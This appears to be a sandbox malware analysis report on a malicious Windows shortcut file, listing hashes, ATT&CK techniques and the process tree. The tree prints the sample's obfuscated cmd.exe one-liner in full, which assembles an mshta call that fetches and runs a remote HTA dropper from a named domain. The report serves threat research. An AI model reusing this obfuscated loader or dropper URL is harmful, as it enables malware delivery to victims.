599363116ad48f7c1641b6e5a044279663c993232b7d6cd46a99fc1777548ef8

Analysis

max time kernel
148s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:33

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General

Target
DOC-19I76C.lnk
Size 2KB
Sample260804-kftk8a1tbz
SHA256 599363116ad48f7c1641b6e5a044279663c993232b7d6cd46a99fc1777548ef8
MD5 9c148e70e561284af9cd400f01b3db5d
SHA1 a1d638c4a8978acd1434cb8744f3d47904249009
SHA512 4b1e11849a789280b3fea7232864a78b551f2ff1c7cc0a570256e439d260a602c68a5a2ff169ecb3b79c8b83f3c41018115be9df5ec3fefc9631ed9a00119966
TLSH
T1795123802AE94198F2FB9F72EEFE67C5497BB9A26DB0D54D0C41820C4822701C477B62
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1728	cmd.exe
2156	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 2156	1728	cmd.exe	90
PID 2156 wrote to memory of 5056	2156	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-19I76C.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1728
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set jqSJ=datfewtqmsmtdat&&set Plsmc=bakfogztimfqiuygynbak&&set Pi=datbpxpssanvidhmdtdat&&set JYF=dbgygvlhhhljlvwfdbg&&set uLB=netoytiynnet&&set xyvED=baksnlnsbak&&set qbny=bakrsobgroreftahesbak&&set Flje=netkpnswhvwmgujfjcxyfnet&&set MOoQW=daturxbegrhcsmxtdat&&set IuPK=7nsh&&set Kh=mbitzxu&&set icJ=380artb7&&set qNIWI=windiqxfsrwwin&&set Jwu=bakqcddqhpyvbbtbak&&set IJvw=cms89&&set Gb=b7htay&&set UfW=tmpdxusmrsrqtmp&&set Gj=http@s:@/@/@ma@-@[email protected]@at/h/[email protected]@hp?r=39@14@69F@B5D82D@B&&start /b !IJvw:~1,2!!Gb:~2,3! !Gj:@=!&&set dCTH=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:5056

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads